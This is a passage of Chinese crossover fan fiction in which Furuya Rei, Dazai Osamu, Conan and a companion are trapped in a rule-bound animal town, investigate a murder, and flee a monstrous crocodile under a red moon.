第二日的清晨,天光依旧很好。在这个小镇中,似乎日复一日都是这样温暖且惬意的气候。降谷零提着一袋果子,向着一栋小楼的二层走去。他在昨天的时候就已经醒来了,醒来后,在发现自己是处在这样一个违背了常理的环境下,也依旧保留了冷静与理智。 他与其他人不同的是,他知道自己是因为什么过来的,也知道这里的状况是属于谁。 他停顿了几秒,面上的神情由镇静转换为了微笑,由谁看见他,都会认为他是一个热情且善良的青年。二层的小楼上,是一只狐狸正在浇花,它的毛皮是橙红的色泽,肚皮前是白色的,两腿人立而起,手中拿着一个大嘴花的水壶,轻轻地喷洒在姹紫嫣红的花儿身上。见到降谷零来,它微微转过头,看了他一眼。 降谷零也不着急,将礼物放在一边,很耐心地等候着。 “我记得,”狐狸尖细的声音响起:“你是昨天被狸猫小子招进店里的家伙,今天过来找我,是有什么事吗?” 降谷零很尊敬地说:“我听说了,您是这一带最博闻强识的长者,您知道的很多,许多问题都能在您这里得到解答。” “哈哈哈,”狐狸笑了起来,这样被恭维似乎让它很高兴,给最后一盆的紫罗兰浇完水,它一转身,就坐在了躺椅上,“连你这样的外乡人也听闻了我的名声吗?咯咯,我只是尽力帮助了一下周围的人,当不得这样的赞誉。你今天过来,也是有问题想问我吗?” “是的,”降谷零回答:“我想知道,如何从这里离开,又或者,如何才能与这里的主人相见?” 气氛一下子就僵直住了。只是一刹那,之前祥和的氛围荡然无存,降谷零只感觉一股寒意从尾椎骨蹿上头顶。一只狐狸头几乎是眨眼间就贴在了他的面上,吻部上的毛发刺在他的鼻尖上,一对浑浊的碧眼中,透出无尽的诡异与森冷,仿佛来自另一个世界的凝视。他的手按在后腰处的枪上,差一点就将之拔了出来。 良久,这只狐狸头才慢慢地收缩了回去,这一次,它的神情很冷淡,它语气生硬地说:“我不知道你说的什么‘主人’,也不知道怎么离开。你走吧,不要让我再看见你。” 降谷零缓缓吐息,他继续微笑着说:“我只是来寻找帮助的。我有一位朋友,他是这里主人特别邀请的客人,我与他走散了,只是想要找到他而已。我想,身为这里的主人,应该不希望看到有人在他的‘家’里,没有受到好的招待吧?” 狐狸面上浮出了狐疑,它问:“你也是这里的客人?” 降谷零心中一动,他说:“不错,我也是这里的客人。我还有过这里的请柬,只是在途中,遭遇到了一个外来的闯入者,不幸被撕碎了,但我朋友身上的请柬可是好好的,等我找到他,就让他拿来给你看。” 狐狸点了点头:“是啊,请柬……” 他想了想,从一边的书桌上拿出一张纸,将它递给了降谷零。 “这是……”降谷零面露惊讶。狐狸摇摇头,不肯再说。 降谷零还想再问,但狐狸已经不再理会他了。并且,随着时间的流逝,那种危险的感觉愈发强烈起来,他只好从这里离开。 一位松松垮垮穿着一件风衣的男青年站在他离去前路上。他身形清瘦,面上带着一股漫不经心的笑,凌乱的黑发垂落在眼前。他双手插在兜里,就这样微笑地看着他。 降谷零其实在楼上时就已经注意到了,这家伙方才就站在这里了,还抬头冲他示意了下,他是特意在等他的! “你好呀,这位警官,”他语气慵懒又轻佻:“可以给我分享一下你在楼上得到的收获吗?” 降谷零微微眯起眼睛:“你也是从外面来的人?” 青年嘴角微勾:“是的啊,作为无辜卷进来的一员,向警察寻求帮助,这是作为一位好市民应该做的事。警察先生,快帮帮我吧ㄟ(≧◇≦)ㄏ!” 降谷零一噎,他可不认为能够找到这里的是什么普通人,他没有被迷惑,口气危险地问:“你怎么知道我的职业?” 这个家伙不好糊弄啊,青年一边想,一边语气散漫道:“别看我这样,我其实也是一个侦探,武装侦探社知道吧,那可是国家记录在案的正规机构,乱步先生也是全国首屈一指的侦探呢!” 降谷零感觉自己似乎真的听过这个名字,但很快,他就迅速道:“不对,米花町中所有的侦探社我都知道,没有‘武装侦探社’这一家,你到底是什么人!” 青年顿了顿,他面上露出了苦恼,这让他稍微显得有些脆弱,他道:“米花町?我可不是米花町的人,我是横滨市人。还有,你真的要这样刨根问底吗?你就这么确定这一次的事只发生在米花町,这是不是说明,你还知道点什么我不知道的事?” 降谷零沉默了。青年狡黠地笑了:“我们的目标都是一致的,要从这个古怪的地方逃脱出去。在这里谁的身份都不重要,帮助你就是帮助我。还是说,你要把线索牢牢攒紧在手中,谁也不让看呢?” 降谷零被说服了,他看着这个青年,从他的身上,他嗅到了一股熟悉的味道,但就像他所说的,他们的目标都是一致的,如果他没有猜错,这里可是一位超越者的主场啊,他同样露出了笑意:“你说得对,侦探,告诉我,你的名字。” “太宰治。”这个捉摸不定的青年轻声说。两方都确认了对面是一个聪明人,而聪明人,恰恰好是他们现在最需要的,二人心中都在心里为对方打了一个勾。 第88章 不同的规则 太宰治是在一处民居里醒来的, 他醒来的时候,屋子里没有一个人,只有一些破败的家具, 和涌入鼻腔的尘土的气味。他躺在了床上好一会,才慢慢坐起身来。“虽然不知道是怎么回事,但首先应该去找些吃的。” 过来的时候, 太宰治其实是准备调查完后,就带着那个小男孩去最近的寿司店的, 那里有他最喜欢的蟹黄寿司,小男孩给的钱也足够他请上好几顿了, 就是不知道,到底是哪个家伙搞出来的这种事…… 想到那个声音, 太宰治的脸色阴沉下来。他走到房屋破旧的窗前, 往外一看, 哇呜哦~ 他都想吹响一个口哨了。只见外面来来回回走着的,每一个都不是人,它们顶着各异的脑袋, 却像人一样在这里生活着, 甚至有撞了人的, 还会停下来, 给对方道一个歉。 太宰治心中首先涌出的,不是恐惧, 而是兴奋—— 终于脱离了那个无趣腐烂的世界了吗?这个动物主题的地方, 又是哪个家伙塑造出来的?他想做什么?将全人类都转变为他麾下的动物?一定是有人的吧,否则的话, 这些家伙们,怎么可能这样规规矩矩、乖乖顺顺地在这里生活。 太宰治飞快地想着一些乱七八糟的事, 他根本没有任何停顿地就从房子里走了出去,饶有兴致地四处打量着所有人,有一位穿着一件裙子的鸵鸟小姐感到被冒犯,狠狠地瞪了回去,他还好脾气地歉意一笑,浅浅行了个礼。 见他们看到自己也不害怕诧异,太宰治还特意观察了下自己的形貌,确认自己没有变成动物,才若有所思地继续去探寻这个地方。这是一个小的城镇,有着类似人类才建的房屋,有各种各样的店铺,药店和酒店都有,甚至还有一个警察厅,这是太宰治在闲逛了一会后得到的结果。 他在很早地时候就注意到降谷零了,在一个满是动物的地方,一个人类其实是很突兀的。在观察了他一会后,他就对他的身份有了几个猜测,之所以在第二日去接触他,是因为…… “你受伤了?”在确认了与他的合作关系后,降谷零与他的距离更接近了些,他鼻尖轻嗅,嗅到了一些轻微的气味。 太宰治闻言一笑:“看来降谷先生在警察之中,也应当是最优秀的那一批。我确实受了些伤,原因是在昨晚遇到点东西。在这里,我想提醒降谷警官你,这座小镇的晚上可是很危险的,没有准备最好还是不要贸然外出。” “是吗?”降谷零想起了自己昨天时狸猫店主对自己说过的话,他不动声色道:“我知道了。” 他们找到了一个地方,降谷零将从狐狸那里得到的纸条在两人面前摊开。 “1. 小镇不欢迎不是客人的人到访,若是遇见了不速之客,请尽快通知红兔警官。 2. 不要向红兔警官询问她的过去。 3. 要多吃肉类。 4. 不要吃蔬菜。 5. 当镇子里出现不认识动物的时候,要跟紧在它后面,它们既然知道怎么来,自然也该知道怎么离开。 6. 小镇中的居民没有第二种形态,如果碰见了,赶紧远离它,如果离不开,就安静待在原地,会有人来救你的。 7. 大灰狼一般是好的,你们很难遇见它。但一旦碰到了,就不要反抗它,除非它想要杀死你。一旦它攻击你,赶紧逃!你不会是它对手的! 8. 夜晚是危险的,晚上尽量不要出门。如果要出门,请挑选有红色月亮的时候,这种时刻万物都沉睡了,正是门扉敞开之时。如果你看到什么都是红色的,也不要慌,这是光的渲染,也是你离开的必要经过。 9. 要尊敬镇子的主人,祂喜欢安宁,不要去打扰祂。任何时候都不要。” 一共九条的规则,降谷零和太宰治很快就看完了。二者陷入了一阵沉思,谁都没有说话。 良久,降谷零才说:“你说你昨天晚上遇到点东西,你遇到了什么?” 太宰治挑挑眉:“我去的时候可没有红月。至于遇到什么,”他露出回忆状:“很难形容,那个东西,既像是野兽,也像是某种不定型的存在,我只能说,它确实是不可力敌的。” 降谷零开始思考那位超越者架构出这样一幕场景是为了什么,是与他的异能力有关?他的异能力就是“规则”,还是赋予动物人的灵性?奈何他对异能了解的不多,无法给出有用的猜想。 他将纸条收起,轻声说:“看来黑夜不要出门这一点是对的,至于其它的,有待商榷。” 太宰治笑道:“这就像是个游戏,可惜只有我们两个人,如果来的人多一点,说不得我们根本不用自己一条条去尝试其中的真假。这对我们来说,就是个极简单的游戏了。” 降谷零皱起眉,他开始怀疑起这位侦探的身份,并在内心里,悄自将对这位侦探的警惕再拉高。他知道他说的方式,但这是以其他人的安危来为自己试路,若是违反规则的代价是生命,这一条安全之路下,就是累累的尸骨了。 “哎呀,”太宰治笑了,他道:“你不会以为我说的是真的吧?别想了,除了你,我没遇到别人。” 降谷零松了口气,但他很快又想到了先自己一步来到这里的另外一人,与自己不同,他可是有请柬的。于是他问:“整个镇子都逛过了吗?” 太宰治叹息:“还有一小部分没逛到,不过你也别抱太大希望了,人类和动物的区别很大,根本不用仔细寻找。这个小镇本身面积就不大,我预估最多也就近千人口,就算混进来一个陌生的,也完全隐藏不了多久。” 他一边说着一边往前望去,“嗯?”他忽然疑惑发声,降谷零也随之望去,而之后,他看到了一个熟悉的幼龄的身影从街边跑过去。 “砰!”是降谷零突然站起,身边椅子摔倒的声音。他脸色铁青,似是想到了什么,再不复之前的镇定。因为他认出了,那是楼上毛利小五郎家的那个叫“柯南”的小侦探。他为什么会在这里?除了他,还有哪些人也在这里? 这次的事件,莫不是并非只影响到了自己几人,想到那时正在往外扩散的波动,外围居住的又是一些普通的米花町的民众,他不由得头脑一阵晕眩。他知道这一次的事件后有人,可他不敢赌,如果外面还有更多人被卷进来,他不能用他们的性命去赌一位超越者的善良。他不能也做不到。 他忽然格外迫切地想要结束这次意外。 太宰治看着他的失态:“嗯,那个小孩是你认识的人?” 降谷零阴沉着脸,他飞快地往外走去。太宰治想了想,还是慢慢悠悠地跟在了后面。但还没等他们到达那里,柯南就像只猫儿一样一下就窜得不见,降谷零正待去追赶,一个白色的身影就突兀拦在他们面前。 “你查找到什么了吗?”在旅馆下面的房间里,裴真问着急匆匆赶回来的柯南。 柯南咕噜噜喝了一大口的水,他道:“我没看见其他人,先前猜测的很多人同我们一起穿过来的想法是错的。我也没看见有熟悉的动物,那只黑豹我打听过了,这边根本没人听说过他。” 说完,他就期待地看向裴真。“昨晚确实发生了一些事,”昨天晚上的时候,柯南与裴真身边很平静,但半梦半醒间,一声枪响还是迷迷糊糊地惊醒了他们刹那,裴真不知道,而柯南早上起来的时候,还以为那只是自己在白日的疲劳下做的一个梦。“红兔警官没有说什么,我想办法找到了一颗散落的子弹,那确实是人类才有的,”他说:“这座镇中,还存在着与我们遭遇相同的人。” “不过不用担心……”裴真说。 “别想太多……”几乎是同一时间,太宰治也对降谷零说:“一些事如果要发生早就发生了,没出现你料想中的一幕,说明了这之中产生了变故,又或者,太多人会将这里弄乱,迄今为止,一切都在控制中。” 裴真也是说了与太宰治近乎相同的话。 “我们现在应该做的,是赶紧洗脱自己身上的嫌疑,然后去与你的那位小朋友相见。”太宰治对着降谷零劝慰道:“他看起来没受到什么伤害,但未必将来不会。” 降谷零脸色很沉凝,他眯起眼睛,眼中流露出丝丝危险:“我倒是不知道,我们什么时候与那位鹿女士有过接触?” 站在他面前的,是一只身穿制服的白色兔子,她面上神情冷淡,红色的纹路在半边脸上像是一朵花,之前便是她拦在降谷零他们二人身前的。对于降谷零的质询,她显得并不在意,而是拿出一个记事本,在上面勾写了些什么,“有人证,有人看见你们中的一位在昨天的那个时间段从案发现场走出来,死者也曾与他有过一段相谈甚欢的交流,之后鹿女士就睡过去了,没再见任何人。”她收起本子,说:“跟我走一趟吧。” “呵呵,”降谷零没有回头去看太宰治,他十分冷静地问:“你们有什么证据?另外,可以给我看看你的警官证么。” “你们要拒捕?”兔子根本没有回答降谷零的疑问。她只是略微歪了歪头,像是根本听不懂般满怀疑惑地望着他们。但太宰治与降谷零都是格外敏锐的人,他们都从这兔子警官疑惑的外表下,看出了她某种跃跃欲试的期待! 她在期待些什么?! 倏然,一股巨大的危险感笼罩在二人心头,降谷零恍惚之间,竟看见这只兔子的嘴角慢慢咧起,她面上的红纹浓郁的要滴下血来,一双原本平静的眼睛散发出暴虐的光,耳朵如利刃竖起,周遭的一切都陷入到浓雾中。她紧紧地盯着他们。 他极快地将手从放武器的地方收了回来,并含着微笑道:“怎么会,履行警官的问询,是镇中居民应有的义务。我也很遗憾镇中发生的案件,能为你们提供线索我也很高兴。希望能早点抓到凶手,洗脱无辜之人的嫌疑。” 兔子又重新回复了冷淡,就好像之前的一幕只是降谷零头晕目眩时见到的假象。她点了点头,满意道:“很好,多谢你们的配合。” “对于不遵守规则者,我们都会让它受到惩罚!” 第89章 并非是我们的敌人 降谷零神情冷肃地跟在兔子警官的身后往前走, 他倒是想要从这里离开,但明显这只兔子根本就没有要放过他们任何一人的意思。他往后看,太宰治有些无辜地瞧着他。 这根本就不符合外面世界的法律律条规定!公安中的成员降谷零咬牙想。 他们很快就来到一处咖啡厅中, 这里的装潢很娴雅,应当是一个高档的休息区所,但现在除了他们之外, 就没有其它的客人了。几个穿着制服的警察将这里封锁住,在略带暗色的咖啡馆内, 几个或坐或站的身影正在等着他们。 “哟,你们终于过来了啊, ”其中一位抽着烟的女士瞥见他们进来,呼出口气, 略带讥讽道:“我还以为你们已经把我们忘在这里了呢!” 降谷零眼角抽搐了一下, 因为在座的这几位都非常有特色, 而现在正在开口的,是一位复眼有锯齿的绿色螳螂,它脖子纤细, 头上还有两根触须, 随着它的头颅摆动, 正在微微摇晃。 “女士您不要这样说, ”一旁的一位男士连忙打圆场,它两只柔软的手在桌面上微微蠕动, 背后背着一个椭圆形的壳, 它偏过头来,讨好带笑道:“兔子警官也是按照规则办事, 人这不是还没到齐吗,事情也没办法展开。” “咕咕, 还没好吗?我今天下午要去面包房里做工,耽误了时间,可就没有剩余的面包屑吃了!”鸽子小姐摆了摆翅膀。 “年轻人,做事要有耐心。等你们到了我这个年纪就知道了,一切都自有其规律,顺应时序,才能有好的收获。”一条老鳄鱼穿着西装,它优雅从容地看了眼手中的怀表,不急不缓道。 “噗嗤!”降谷零听见后面的太宰治笑了,他的后背被人用手指顶了顶,有小的声音传来:“你觉不觉得,我们现在就像是在一场恐怖的悬疑动漫中?” 降谷零敏锐地察觉到那位兔子警官往这里看过来一眼,他警惕地没有答话。 “好了,”兔子警官将手中的警棍往桌上一敲,立马就将这几人的小情绪敲散了,她环顾一圈,冷静道:“接下来会有人来找你们问话,记住,不要说谎,不要反抗,不要试图脱逃,那样做的后果你们是不会想知道的。” 所有人一下子都噤若寒蝉。降谷零深刻意识到,这个世界从某种意义上来说,是无法用武力来通关的,最起码,他的武力并不足够。 太宰治观察了一下在场的几“人”,撇开它们不同的形貌,这几个动物居然是与平常的人类没什么不同的,它们一样会焦虑、会紧张,还会有不同的小动作,他无声地嗤笑了下,觉得有意思极了,不是对这起案件,而是对这个“镇子的主人”。 降谷零提出要去看那位鹿女士的尸体,被兔子警官给否决了,他开始与之据理力争起来。太宰治倒是悠闲,他好似一点也不在意自身的安全,只顾透过这个咖啡厅的窗户看向外面的景色,不多时,他就瞧见了两个自己想要见到的身影。 他面上浮出一抹笑,往后走去。“如果你们还是这样争执不下的话,那不如去邀请第三方来调查,”他看向兔子警官:“你也知道的,我这位朋友是因我连累而来这里的,与鹿女士有过交流的是我,他其实是有权力调查这次案件的,毕竟我也算是……他的朋友么,呵呵。” 他笑着说,在兔子警官还想要说些什么的时候,他貌似不在意般强调道:“不管怎么说,我们作为客人,在这座小镇中,还是能有一些优待的吧?” 兔子警官的脸色沉了下来,但沉默了稍许,她还是按照太宰治所说的,去将外面的那两个人请了进来。柯南与裴真就这样与降谷零他们相见了,在见到他的第一刻,柯南的眼睛就亮了起来,他高兴道:“原来给我们送去纸条,让我们来这里的是你啊,降谷先生!” 降谷零愣了下,很快,他就意识到了这是谁做的,他看了下太宰治道:“你说的不是我。倒是你们,你们怎么会在这里,还有其他人吗?都有谁被卷进来了?” 柯南的眉间笼上了一层忧虑:“我觉得人数应该不少,但除了天野哥哥,我没再看见第二个人。” 降谷零又看向裴真,裴真叹了口气:“我也不知道我是怎么来到这里的,在调查委托的时候,有一缕波动冲击过来,下一秒,我就昏过去了,再醒来的时候,就是在这个地方了。” 降谷零闻言,眉目锁得更紧,他喃喃道:“这不对啊,如果声势和范围那么大,为什么只有我们几个醒来,对了,还有一个,更是在另一座的城市……” “为什么不对,”一边的太宰治在听他们的对话:“只要你们将这个地方看作是有主人的就行了。”他笑意吟吟道:“如果主人要玩游戏,他自然只用选出几个最优秀的。其他人不是没有进来,他们只是还没有入住,不信你们可以问问它们……” 他走到兔子警官面前,在她警惕的眼神中,无事般询问:“警官女士,你们的这座小镇,在下个月的时候,就要进行一波扩张了吧?” “你问这个做什么?” “这几位,”太宰治指了指在座的另几个动物:“扩张就会产生很多新的业务,鹿女士是房地产的投资人,螳螂女士是它的赞助者,蜗牛先生是它的情人,鸽子小姐曾做过它一段时间的秘书,鳄鱼老爷子是它的竞争者,它们都有作案的动机。” 那几个动物明显都慌了。兔子问:“你是怎么知道的?” “很容易看出来不是么?”太宰治明显没有要讲解的意思,他说:“你只用回答我,镇子如果要扩张的话,镇民们如何安排,还是说,要引进一批新的镇民?” 兔子咧开了嘴:“你猜得不错。” “他们是从哪里来?” 兔子沉默:“你不用知道。” 太宰治再回过头去的时候,后面的几人脸色就都很难看了。柯南想到了什么,裴真也说:“你是说,那些失踪的米花町的居民们很有可能就是接下来的镇民?” 太宰治瞧了他一眼,认可这并不是一个愚蠢的人。 降谷零从来到这里后,心情就一直很糟糕,他叹了口气道:“看来有些事我也不得不说了。其实我是知道我们是为何来到此处的。” 果然,柯南心中暗道。这位公安先生在黑衣组织覆灭后,依旧回来到下面的咖啡厅里做服务员,一部分的原因,大约就是为了监测住在帝丹高中附近的那个FBI。这一次的事件,很有可能就是与他们有关,他想到了上一次自己听说过的那个称谓——“超越者”。 “超越者,”降谷零将声音压得极低:“这次我们纯粹是被殃及池鱼了,赤井那混账使用那张请柬,不知道是哪里出了变故,将我们所有人都包围进去了,结果是他一个人的事故,变成了我们所有人的。那群FBI,”他脸色狰狞:“总有一天,我要将他们都从这个国家赶出去!” 柯南面色很沉重,他是知道“超越者”很违规,但没想到能违规到这种程度,这分明就是重新建立起了一个新的小世界嘛!太宰治眼神惆怅,他也没想到,自己卷入到的是“超越者”的事中,想到之前听到的那个声音,他轻轻叹息,念出一个名字:“……你果然就是个麻烦。” 只有裴真还是一副没搞清状况的样子:“嗯,你们说的什么‘异能者’、‘超越者’,他们真的不是小说中的称谓吗?开玩笑的吧,有那样一群人。”他有些牙疼道。 柯南同情地拍了拍他的手臂,看见他,就像是看到了当初在那辆列车上的自己,他说:“虽然我们尊崇的都是科学的唯物主义观,但唯物主义从另一方面,也是要尊重已有事实的,你就接受吧,这个世界就是这样不讲科学的。” 裴真默默地瞅了这个小子一眼。 “你们都商量好了吗?”兔子警官将其他人都安排好,颇为不耐烦地上前来问。 降谷零站出来回道:“我们已经谈好了,他们会帮我们来破解这个案件,他们在自己的家乡里本来就是个侦探,这次也只是做回了老本行。我们相信他们。” 兔子警官并不在意,她十分冷淡地说道:“既然如此,你们同我去看看现场吧。” 裴真只是简单地扫过那具尸体几眼,鹿女士就如它的名字所说,是一位有着鹿头的高大的女性的尸体,柯南倒是检查得很认真,估计也是第一次这样检查一具动物的尸体。这次的案件并不复杂,裴真在看到柯南捡起了一样滚落下来的小东西后,就知道这次的事件大概就快要结束了。 在回去的路上,柯南和裴真都很沉默。柯南的思绪一直都是紧绷着的,“超越者”那种超规格的存在占据了他大多数思考的空间,让他对于这次案件的侦查都是游离着的,等他走入到他们共同的房间,整个人还是一副心事重重的样子。 现在看来,对付黑衣组织,或许都要比对付这等存在来的更有希望。 裴真看了看场中的数人,降谷零与柯南士气低沉,太宰治在一旁抱着双臂,置身事外。天已经快黑了,外面有光透过窗帘照入。今天晚上,应该是有行动的。 他只好让自己起到点作用。他清咳一声,有些不习惯道:“我是知道那位超越者应该是很厉害的人,但你们是不是太悲观了一点?” 在场的几人都一起看向他。裴真继续说道:“如果这所小镇都是因他而来,那么他想要解决我们其实是一件很简单的事,不至于让我们什么都没遇到,还能在街道上随意乱逛。我们虽是闯入者,但并不是出自我们本身之意,确切来说,大家是另一起事故的受害者,只要那位超越者稍微讲一点道理,都不至于会过于苛责我们……” “他其实还是给出时间了,”裴真说:“小镇扩张不是在半个月后吗?只要在那之前,我们找到他不就行了?” 他没有说找到之后怎么办,但无疑还是将降谷零和柯南带出了那个不断自耗的漩涡,他们心下一松,知道自己刚才是钻牛角尖了。降谷零也开始意识到这位年轻侦探的才能。 “啪啪啪啪。”一阵鼓掌的声音传来,太宰治从倚靠的墙壁上离开,站直了身体,笑着道:“我还想看你们需要多久才能反应过来呢。” 他边走边说:“你们看样子是曾亲眼见到过超越者出手,所以才被震慑至此。但我还是不得不告诉你们,这一次的超越者,对你们实在是太过温柔了!” “温柔?”降谷零不敢置信,“你是说将我们限制在这里,面临着诡异的危险,还威胁我们要将剩下的人变成镇民,这是‘温柔’?” “是的,”太宰治说:“你们见到过的,估计不是超越者的全力出手。翻江倒海,生死改易,他们是一群真真正正的怪物,就像是这个世界的bug一般,人类的群体对他们而言,就像是一群小蚂蚁。他们已经成为了另一层面上的生物。所以我才说,你们到了现在都还没受伤,是他的温柔。” “‘客人’?哪里有只需要不否认,就能成为的客人?”太宰治的语言残酷:“一些禁忌点也都被标明,‘蔬菜’、‘生肉’?告诉我,”他忽然问向柯南与裴真:“你们今天早上吃的是什么?” “呃,是面包,全麦的面包,还有一杯清水。”柯南回答。他终于知道自己一直体味到的异常是什么了。 “是的,不管是真是假,只要我两样都不碰就好了。”太宰治的姿态疏离:“甚至是如果我们都不追求出去,说不定还能在这里安住好几天。这里是很危险,但我们也该庆幸,因为这里的主人,并非是我们的敌人。” 他这样一番话下来,让之前一直担忧着的人心情有些复杂。但他们不得不承认,他说的是有道理的。太宰治是他们中对异能力者最清楚的一人,其他二人都不了解,所以才会没有思考到这一点。 “那我们其实并不怎么危险?不,不对。”没等回答,降谷零就自己否定了自己的话。 第90章 夜晚的危险 降谷零本身就是很聪明的一个人, 他很快意识到了,对于弱者而言,强者身边哪里不是危险?并且……“他用异能力塑造出这样一个小镇应当是有原因的, ”他想了会说:“而这份原因,或许就是我们陷入危险的因由。” 他有些不确定道。太宰治又拍了拍手,他笑着说:“你的猜测和我的想法很相似, 我只能说,这份危险很有可能就是这个小镇一直在隐藏的东西。按照规则生存, 大概率不会有事,但违反了规则, 就一定会见到些什么。而恰好,我们行动的目的, 可从来就不是什么安稳的生活啊!” 他一甩手, 一张写了很多字的字条就出现在他的手中, “这种东西,”他看向柯南与裴真:“从刚才你们回答我的话来看,你们也拥有类似的吧?” 柯南恍然大悟, 难怪他会问出那样的问题。裴真从口袋中同样掏出一张纸, 与另一张放在一起, 供大家共同阅览。 半分钟后, 几人先后抬起头来,柯南的脸色很沉重, 降谷零面上浮出了恼怒, 太宰治若有所思,裴真陷入了思考。 “这两份提示中, 有些是相同相似的,但有些却是截然相反的。”柯南冷静道:“我无法确定, 它们中哪些是真的,哪些又是假的。” “你们的纸条是从哪里来的?”裴真问。 降谷零的眼神幽暗:“是从一只狡诈的狐狸那里搞来的,它在镇子里很出名,说是知道很多东西。” “我们是一个‘黑豹’给我们的,”柯南说:“我们一开始不知道有这种东西。它是故意撞上来,然后悄悄塞给天野哥哥的。”他与裴真对视一眼:“我们先前猜测它有可能是我们认识的人变成的,可现在看来,它也有可能是故意来坑害我们的。” 一时之间,他们俱对这些规则无比怀疑起来,看它们的每一条,都像是隐藏着许多的陷阱。太宰治笑着说:“坐在这里商谈是谈不出什么东西来的,对于一样我们不明白的事物,作为一位侦探,我的建议是,去稍微试探它一下。而刚好,今天晚上就是一个很好的时间点。” “你们看,”在几人的注目中,他走到窗边,将厚重的窗帘掀开一条小缝,让外面的光透进来,将窗台渲染成一片红色,他抬头仰望天上:“今晚就是一个红月之夜哦。” ………… 夜色诡谲,万籁无声。 在所有人都要“入眠”的深夜中,一道暗中的身影悄悄从上面走了下来。它身形庞大,月光将它的影子投射在一边的墙面上,形成的轮廓狰狞又扭曲,它的手脚落在地上悄无声息,但越到地方,它的喘息声就越清晰,深夜中,一双黄绿色的眼中散发出残忍嗜血的光。 它动作极为小心,就算是没有瞧见任何敌人,它也始终保持着一分冷静。直到它鼻尖嗅到了一股“香甜”的气味,看到自己的猎物近在咫尺,它才压抑般低吼一声,然后猛地扑了上去。 那是白天里鹿女士的尸体。 “滋啦…”皮肉被生涩撕开,“嘎吱嘎吱…咕噜……”是肉类被分裂成小块,不断吞咽下去的声音。屋内回荡着它进食的响声,格外渗人。 暗处的四双眼睛正一动不动地盯着它。虽然从没见过这样血腥兽性的场景,但几人都是寻常人中顶尖的人才,让自己保持镇定,是他们的基本功。 空气中弥漫开浓重的腥味,野兽一边进食着,一边还在轻嗅着,始终在警戒着周围。柯南额前滴落下一滴汗,继在列车上见过了人类间的残忍后,这一次,他又见识到了由最纯粹食欲带来兽类的嗜虐,种族之间的强烈压迫感让他几乎不敢呼吸。 太宰治则思索得更深入一些。就算是在做着这样恐怖的事,它也还是这般小心翼翼的模样,它是在害怕着什么,红月的夜中,是有着比它更可怕的怪物啊! 但不论在想什么,他们都没有异动,只是在瞧着它。直到野兽堕入到太久未曾进食的肉类的鲜美中,连最后的一丝警惕心都褪去了,他们也依旧没有贸然出手。因为他们等的不是这些。 可他们没有发现,就在他们还在看着这个野兽生啖肉类的时候,周围照射过来的月光越来越浓郁,先开始还是笼一层纱的样子,可如今,就像是浸入了红色的水中。 柯南他们无法将眼睛从这一幕上移开,渐渐地,他们目光恍惚起来,仿佛正在场中品尝着那期待已久鲜美“果实”的,不是野兽,而是他们自己…… “醒来!”身旁有人高喊。柯南感觉自己被人重重推了一下,从那种恍惚又放肆的角度中清醒过来。他有些骇然地抬头望去,见到那个叫太宰治的神秘的横滨侦探正冷汗津津地捂住一边的手臂,他低垂着眸子道:“小心别被感染了!” 降谷零猛地扣动扳机,一阵猛烈的咆哮声响彻他们的耳膜,是方才还在进食的野兽,它注意到了他们,并毫不犹豫地对他们发起了进攻。它的双腿一用力,整个身体就如同一道黑色闪电向他们袭来,浓重的腥臭味迎面扑来,让还没彻底从那种诡怪的视觉中脱离出的柯南几欲作呕。 “砰砰砰砰!”降谷零毫不犹豫地连开数枪,并一个打滚,逃离原地。连好像出了什么状况的太宰治也飞快地从原处跳开。柯南往后跑,但到底不是专业的战斗人士,差了几秒,而这时,降谷零用子弹将怪物的注意力吸引过去,柯南感到自己被人抱起,迅速地往后边退。 是裴真,在关键的时刻,这个原本一直存在感不高的小伙伴,显得格外的靠谱。他目视着前方,一贯淡然的脸上满是沉肃,抓住自己的手用力到让他感觉生疼。 柯南并没有说自己可以帮上忙。他对自己有自知之明,知道自己的增强鞋只有一击,在这样连手枪都作用不大的情况下根本没用,他咬着牙,不发一声。 月光照在怪物的身上,显出它冷硬的灰青色皮肤,上面分布着隐隐的裂纹,它的脑袋是扁平往前伸的形态,一张大口中满是石子般的尖牙,它卷起舌头,涎水从它的嘴边流下。它瞳孔成竖直状,里面满是对狩猎猎物的迷醉。 这赫然正是白天里的那条老鳄鱼。可现在,它又哪里看得出那种优雅从容的样子? 降谷零开了好几枪,直到弹匣都清空了,也不能让这异化的怪物慢下几分。他不由高喊道:“够了,你难道就不怕将外面的东西引来?” 鳄鱼恍若未闻,它依旧继续朝着他那边扑击,速度根本不是外面的普通鳄鱼可以比的。 “砰!”是太宰治在一旁吸引了它的注意,他脸色苍白,“没有用的,它已经吃了很多‘生肉’,触犯了规则,你说什么它都听不进去的。” “砰砰!”他又开了两枪。降谷零身上只带了两匣弹夹,他抿唇将另一排安进去,继续射击。 在后边,柯南已经被裴真放了下来。注意到这里的情况,他拉了拉裴真的衣袖,道:“我们去找兔子警官。” 裴真犹豫了下,刚想转身,那边就传来“哗啦”一阵玻璃破碎的声音,他们一起回头望去,就见到降谷零面色惨然地单膝跪在一边,右方的鳄鱼怪物轰撞在墙上,居然将这处后厨的小窗户震破了。 红色的月光像流水一般前仆后继地涌进来,那种异样让他们再也无法欺骗自己去忽视了,伴随着这种巨变,鳄鱼忽然停住了动作,所有人也都瞬间僵住了身体,他们感到了另一种沉重的压迫力,不是鳄鱼那样的残虐,而像是一种全无感情的打量。 就像是从屋外窥进一只眼睛,看看有谁违背了规则。 “砰——”最先反应过来的还是太宰治,他依旧死死地抱着自己的胳膊,像是那里有着难以忍受的痛苦,大颗大颗的汗从他的额上滴下,他的子弹趁此击入了鳄鱼的小腹下,对方条件反射地仰天大吼,四肢都蜷缩起来。 “快逃!!”太宰治的声音都尖利了起来。开完这一枪后,他也不看其他人,毫不犹豫的转身就跑,而仅是下一刹,鳄鱼那大吼声就停止了,一蓬冰冷的鲜血泼洒下来,淋了降谷零半边的身子。他落的最后,就看见鳄鱼那狰狞的脑袋从身体上滚落下来,在地上咕噜噜滚了几圈,最后静止不动,黄绿色的眼睛直直地看着他。 他拔腿就跑,比在警校最后的一场考核时都要快上数倍。 柯南也不再说去找兔子警官了。发生了那么多事,要真醒早就醒了,哪里还由得他们在下面不断拆家?他跟在裴真后面逃走,眼神愣愣的,“这也是超越者一部分的力量么?” 他简直不敢想象这样的人在现实中还有什么能制裁他,导弹还是核弹? 等他们逃出以后,他们才发现了更大的异常。红色的月亮距离地面极近,它就像贴着地面在观望,周围一直有某种无形的波动在涌动,之前那些十分平常的东西在这种波动下开始改换形貌,它们扭曲、变化、转异,有红色的物质在上面不断地繁殖增生,直到再也瞧不见它们真实的模样。 